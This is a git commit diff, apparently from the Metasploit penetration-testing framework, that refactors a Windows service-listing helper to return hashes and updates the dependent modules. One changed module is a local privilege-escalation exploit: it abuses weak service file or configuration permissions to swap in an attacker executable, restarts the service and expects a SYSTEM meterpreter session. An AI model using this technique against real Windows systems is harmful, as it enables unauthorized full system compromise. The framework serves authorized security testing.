Refactor service_list to return array of hashes

Update trusted_service_path, service_permissions,
net_runtime_modify and enum_services to handle change.

Refactor enum_services to tidy it up a bit
bug/bundler_fix
Meatballs 2013-12-15 03:00:29 +00:00
parent 6763d1fbd8
commit ddf23ae8e8
No known key found for this signature in database
GPG Key ID: 5380EAF01F2F8B38
5 changed files with 77 additions and 68 deletions

View File

@ -86,16 +86,13 @@ module Services
#
# List all Windows Services present
#
# @return [Array] The names of the services.
# @return [Array] Hash Array with Service details (minimum :name).
#
# @todo Rewrite to allow operating on a remote host
#
def service_list
if load_extapi
services = []
services.extapi.service.enumerate.each do service
services << service[:name]
end
return session.extapi.service.enumerate
else
serviceskey = "HKLM\\SYSTEM\\CurrentControlSet\\Services"
a =[]
@ -110,7 +107,7 @@ module Services
begin
srvtype = registry_getvaldata("#{serviceskey}\\#{sk}","Type").to_s
if srvtype == "32" or srvtype == "16"
services << sk
services << {:name => sk }
end
rescue
end
@ -141,32 +138,39 @@ module Services
# @todo Rewrite to allow operating on a remote host
#
def service_info(name)
service = {}
if load_extapi
svc = session.extapi.service.query(name)
service = {
"Name" => svc[:display],
"Startup" => START_TYPE[svc[:starttype]],
"Command" => svc[:path],
"Credentials" => svc[:startname],
"DACL" => svc[:dacl],
"LogGroup" => svc[:logroup],
"Interactive" => svc[:interactive],
"extended_results" => true
}
else
service = {}
servicekey = "HKLM\\SYSTEM\\CurrentControlSet\\Services\\#{name.chomp}"
service["Name"] = registry_getvaldata(servicekey,"DisplayName").to_s
srvstart = registry_getvaldata(servicekey,"Start").to_i
service["Startup"] = START_TYPE[srvstart]
service["Command"] = registry_getvaldata(servicekey,"ImagePath").to_s
service["Credentials"] = registry_getvaldata(servicekey,"ObjectName").to_s
service["DACL"] = nil
service["LogGroup"] = nil
service["Interactive"] = nil
service["extended_results"] = false
begin
svc = session.extapi.service.query(name)
service = {
"Name" => svc[:display],
"Startup" => START_TYPE[svc[:starttype]],
"Command" => svc[:path],
"Credentials" => svc[:startname],
"DACL" => svc[:dacl],
"LogGroup" => svc[:logroup],
"Interactive" => svc[:interactive],
"extended_results" => true
}
return service
rescue Rex::Post::Meterpreter::RequestError => e
vprint_error("Request Error #{e}")
end
end
servicekey = "HKLM\\SYSTEM\\CurrentControlSet\\Services\\#{name.chomp}"
service["Name"] = registry_getvaldata(servicekey,"DisplayName").to_s
srvstart = registry_getvaldata(servicekey,"Start").to_i
service["Startup"] = START_TYPE[srvstart]
service["Command"] = registry_getvaldata(servicekey,"ImagePath").to_s
service["Credentials"] = registry_getvaldata(servicekey,"ObjectName").to_s
service["DACL"] = nil
service["LogGroup"] = nil
service["Interactive"] = nil
service["extended_results"] = false
return service
end

View File

@ -115,16 +115,16 @@ class Metasploit3 < Msf::Exploit::Local
#for each service
service_list.each do |serv|
begin
srvtype = registry_getvaldata("#{serviceskey}\\#{serv}","Type").to_s
srvtype = registry_getvaldata("#{serviceskey}\\#{serv[:name]}","Type").to_s
if srvtype != "16"
continue
end
moved = false
configed = false
#default path, but there should be an ImagePath registry key
source = session.fs.file.expand_path("%SYSTEMROOT%\\system32\\#{serv}.exe")
source = session.fs.file.expand_path("%SYSTEMROOT%\\system32\\#{serv[:name]}.exe")
#get path to exe; parse out quotes and arguments
sourceorig = registry_getvaldata("#{serviceskey}\\#{serv}","ImagePath").to_s
sourceorig = registry_getvaldata("#{serviceskey}\\#{serv[:name]}","ImagePath").to_s
sourcemaybe = session.fs.file.expand_path(sourceorig)
if( sourcemaybe[0] == '"' )
sourcemaybe = sourcemaybe.split('"')[1]
@ -135,7 +135,7 @@ class Metasploit3 < Msf::Exploit::Local
session.fs.file.stat(sourcemaybe) #check if it really exists
source = sourcemaybe
rescue
print_status("Cannot reliably determine path for #{serv} executable. Trying #{source}")
print_status("Cannot reliably determine path for #{serv[:name]} executable. Trying #{source}")
end
#try to exploit weak file permissions
if(source != tempexe && session.railgun.kernel32.MoveFileA(source, source+'.bak')["return"])
@ -145,49 +145,49 @@ class Metasploit3 < Msf::Exploit::Local
end
#try to exploit weak config permissions
#open with SERVICE_CHANGE_CONFIG (0x0002)
servhandleret = adv.OpenServiceA(manag["return"],serv,2)
servhandleret = adv.OpenServiceA(manag["return"],serv[:name],2)
if(servhandleret["return"] != 0)
#SERVICE_NO_CHANGE is 0xFFFFFFFF
if(adv.ChangeServiceConfigA(servhandleret["return"],0xFFFFFFFF,
0xFFFFFFFF,0xFFFFFFFF,tempexe,nil,nil,nil,nil,nil,nil))
print_status("#{serv} has weak configuration permissions - reconfigured to use exe #{tempexe}.")
print_status("#{serv[:name]} has weak configuration permissions - reconfigured to use exe #{tempexe}.")
configed = true
end
adv.CloseServiceHandle(servhandleret["return"])
end
if(moved != true && configed != true)
print_status("No exploitable weak permissions found on #{serv}")
print_status("No exploitable weak permissions found on #{serv[:name]}")
continue
end
print_status("Restarting #{serv}")
print_status("Restarting #{serv[:name]}")
#open with SERVICE_START (0x0010) and SERVICE_STOP (0x0020)
servhandleret = adv.OpenServiceA(manag["return"],serv,0x30)
servhandleret = adv.OpenServiceA(manag["return"],serv[:name],0x30)
if(servhandleret["return"] != 0)
#SERVICE_CONTROL_STOP = 0x00000001
if(adv.ControlService(servhandleret["return"],1,56))
session.railgun.kernel32.Sleep(1000)
adv.StartServiceA(servhandleret["return"],0,nil)
print_status("#{serv} restarted. You should get a system meterpreter soon. Enjoy.")
print_status("#{serv[:name]} restarted. You should get a system meterpreter soon. Enjoy.")
#Cleanup
if moved == true
session.railgun.kernel32.MoveFileExA(source+'.bak', source, 1)
end
if configed == true
servhandleret = adv.OpenServiceA(manag["return"],serv,2)
servhandleret = adv.OpenServiceA(manag["return"],serv[:name],2)
adv.ChangeServiceConfigA(servhandleret["return"],0xFFFFFFFF,
0xFFFFFFFF,0xFFFFFFFF,sourceorig,nil,nil,nil,nil,nil,nil)
adv.CloseServiceHandle(servhandleret["return"])
end
else
print_status("Could not restart #{serv}. Wait for a reboot or force one yourself.")
print_status("Could not restart #{serv[:name]}. Wait for a reboot or force one yourself.")
end
adv.CloseServiceHandle(servhandleret["return"])
if datastore['AGGRESSIVE'] != true
return
end
else
print_status("Could not restart #{serv}. Wait for a reboot. (or force one yourself)")
print_status("Could not restart #{serv[:name]}. Wait for a reboot. (or force one yourself)")
end
rescue
end

View File

@ -64,8 +64,8 @@ class Metasploit3 < Msf::Exploit::Local
def enum_vuln_services(quick=false)
vuln_services = []
service_list.each do |name|
info = service_info(name)
service_list.each do |service|
info = service_info(service[:name])
# Sometimes there's a null byte at the end of the string,
# and that can break the regex -- annoying.

View File

@ -51,12 +51,12 @@ class Metasploit3 < Msf::Post
print_status("This may take a few minutes.")
# enumerate the installed .NET versions
service_list.each do |service|
if service =~ /clr_optimization_.*/
info = service_info(service)
if service[:name] =~ /clr_optimization_.*/
info = service_info(service[:name])
paths << info['Command']
services << service
services << service[:name]
begin
service_stop(service) # temporarily stop the service
service_stop(service[:name]) # temporarily stop the service
print_status("Found #{info['Name']} installed")
rescue
print_error("We do not appear to have access to stop #{info['Name']}")

View File

@ -56,41 +56,46 @@ class Metasploit3 < Msf::Post
print_status("Start Type Filter: " + qtype)
end
results_table = Rex::Ui::Text::Table.new(
'Header' => 'Services',
'Indent' => 1,
'SortIndex' => 0,
'Columns' => ['Name', 'Credentials', 'Command', 'Startup']
)
print_status("Listing Service Info for matching services:")
service_list.each do |sname|
service_list.each do |srv|
srv_conf = {}
isgood = true
#make sure we got a service name
if sname
if srv[:name]
begin
srv_conf = service_info(sname)
srv_conf = service_info(srv[:name])
#filter service based on filters passed, the are cumulative
if qcred and ! srv_conf['Credentials'].downcase.include? qcred.downcase
isgood = false
end
if qpath and ! srv_conf['Command'].downcase.include? qpath.downcase
isgood = false
end
# There may not be a 'Startup', need to check nil
if qtype and ! (srv_conf['Startup'] || '').downcase.include? qtype.downcase
isgood = false
next
end
#if we are still good return the info
if isgood
vprint_status("\tName: #{sname}")
vprint_good("\t\tStartup: #{srv_conf['Startup']}")
vprint_good("\t\tCommand: #{srv_conf['Command']}")
vprint_good("\t\tCredentials: #{srv_conf['Credentials']}")
if qpath and ! srv_conf['Command'].downcase.include? qpath.downcase
next
end
# There may not be a 'Startup', need to check nil
if qtype and ! (srv_conf['Startup'] || '').downcase.include? qtype.downcase
next
end
results_table << [srv[:name], srv_conf['Credentials'], srv_conf['Startup'], srv_conf['Command']]
rescue
print_error("An error occured enumerating service: #{sname}")
print_error("An error occured enumerating service: #{srv[:name]}")
end
else
print_error("Problem enumerating services")
end
end
print_line results_table.to_s
end
end